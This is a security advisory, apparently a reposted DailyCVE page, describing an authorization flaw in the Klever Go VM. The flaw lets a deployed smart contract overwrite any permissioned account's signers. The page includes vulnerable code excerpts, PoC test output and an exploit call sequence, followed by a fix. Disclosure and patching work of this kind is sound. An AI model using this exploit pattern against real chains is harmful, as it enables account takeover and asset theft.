Klever Go, Account Permission Takeover via RecipientAddr Authorization Confusion, CVE ID: Not Provided (Critical) -DC-Sep2026-2546

Listen to this Post

The VM built-in function KleverUpdateAccountPermission is always-active and rewrites an account’s entire permission set.
It is registered in creator.go lines 381-390 and core/vmconstants.go line 234.

Its authorization check uses vmInput.RecipientAddr, which is attacker-controlled.

The check should use the authenticated vmInput.CallerAddr.

The sibling handler kleverChangeOwnerAddress.go line 86 uses vmInput.CallerAddr correctly.
The safe pattern exists in-repo, but this handler deviates.
The native transaction path txProcess.go line 833 is safe because it uses tx.GetSender().

CallerAddr is never referenced in the vulnerable handler.

Authorization calls contractHasValidPermission(target.GetPermissions(), RecipientAddr).

That function returns true if RecipientAddr is a signer with Weight >= Threshold.

The permission must grant UpdateAccountPermissionContractType.

When a contract calls a built-in via ExecuteOnDestContextWithTypedArgs, baseOps.go line 1967 prepares indirect input.
prepareIndirectContractCallInput at baseOps.go line 2485 sets RecipientAddr = destination.

The destination is contract-chosen and attacker-controlled.

It sets CallerAddr = the calling contract.

The blockchain hook blockChainHook.go lines 454/467 dispatches on input.Function.

It passes the input through unchanged.

No guard forces RecipientAddr == CallerAddr.

There is no SC-destination validation on this path.

createDefaultOwnerPermission at accounts.go line 1848 makes an account its own signer.
The default signer has weight 1, threshold 1, Owner type.

CheckPermissionGrantedForContracts returns true for Owner.

Thus contractHasValidPermission(V.perms, V) == true.

More generally RecipientAddr can be any of V’s signer addresses meeting threshold.

Those addresses are public on-chain.

Accounts with no stored permissions have empty GetPermissions() and are immune.
UpdatePermission at accounts.go line 1863 replaces V’s permission set with attacker-supplied signers.
If the attacker supplies an Owner-type permission, no default is appended.

V’s prior control is fully evicted.

The attacker never held a key of V and provided no signature from V.

DailyCVE Form:

Platform: Klever Go
Version: Not Provided
Vulnerability: Permission Takeover
Severity: Critical
date: Not Provided

Prediction: Unknown Not Provided

(end of form)

What Undercode Say:

Analytics:

cd klever-go
GOTOOLCHAIN=auto go test ./core/kapp/builtInFunctions/ -run TestPoC_PermTakeover -v
TAKEOVER CONFIRMED: caller="attacker-contract" (attacker SC) rewrote account V="victim-account-V"; new sole owner signer="attacker-key-EVIL"
PASS: TestPoC_PermTakeover
PASS: TestPoC_PermTakeover_NoStoredPermsIsSafe

POC Code: https://gist.github.com/mabdullah22/a41f90aa5ba86bbebf121f739bd5f5e9

func (e kleverUpdateAccountPermission) ProcessBuiltinFunction(vmInput vmcommon.ContractCallInput) (vmcommon.VMOutput, error) {
...
address := vmInput.NextArg()
contract, err := e.getUpdateAccountPermissionContract(vmInput)
...
acc, err := e.accountsCacher.LoadUser(address)
...
if !e.contractHasValidPermission(acc.GetPermissions(), vmInput.RecipientAddr) { // L91
return nil, errors.New("invalid permission operation")
}
resultCode, err := e.kappController.GetAccountsKApp().UpdatePermission(address, contract)
...
}
func (e kleverUpdateAccountPermission) contractHasValidPermission(permissions []state.Permission, recipientAddr []byte) bool {
for _, permission := range permissions {
for _, signer := range permission.Signers {
if !bytes.Equal(signer.Address, recipientAddr) {
continue
}
if signer.Weight >= permission.Threshold &&
permission.CheckPermissionGrantedForContracts(transaction.TXContract_UpdateAccountPermissionContractType) {
return true
}
}
}
return false
}
contractCallInput := &vmcommon.ContractCallInput{
VMInput: vmcommon.VMInput{
CallerAddr: sender,
Arguments: data,
...
},
RecipientAddr: destination,
Function: string(function),
}
return &state.Permission{
Type: state.Permission_Owner,
Threshold: 1,
Signers: []state.Key{
{ Address: ownerAcc.AddressBytes(), Weight: 1 },
},
}
callerAddress := vmInput.CallerAddr
...
if !bytes.Equal(callerAddress, acc.GetOwnerAddress()) {
return nil, ErrOperationNotPermitted
}
ExecuteOnDestContext(
gas, dest = V,
value = 0,
function = "KleverUpdateAccountPermission",
args = [ V, attackerOwnerPermsWithOnlyAttackerKey ],
)

how Exploit: (Educational Purposes!)

ExecuteOnDestContext(
gas,
dest = V,
value = 0,
function = "KleverUpdateAccountPermission",
args = [ V, attackerOwnerPermsWithOnlyAttackerKey ],
)
CallerAddr = attackerContract (ignored)
RecipientAddr = V
contractHasValidPermission(V.perms, V) == true
V's permissions overwritten with attacker's key as sole Owner signer

Protection: from this CVE

if !e.contractHasValidPermission(acc.GetPermissions(), vmInput.CallerAddr) { ... }
Reconcile the SC-call authority model: on the built-in path CallerAddr is the calling contract, so a contract should only be able to update permissions of accounts that legitimately list it as an authorized signer — never an arbitrary victim.
Consider also requiring the target account (Arguments[bash]) to equal the authorized caller's account, matching the native tx.GetSender() model.

Impact:

Full takeover of any account that has configured permissions i.e. every multisig / advanced-permission account, by an attacker who deploys a cheap smart contract and supplies only public on-chain addresses (no keys, no signatures from the victim).
After takeover the attacker controls all of the victim's operations → theft or permanent lock of all the account's assets.
Reachable via a permissionlessly-deployed contract (the plain-tx path is safe, so it is Critical-via-contract, not fully no-contract).
No fork flag gates it.
Severity Critical: Impact High (full account/asset compromise)

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top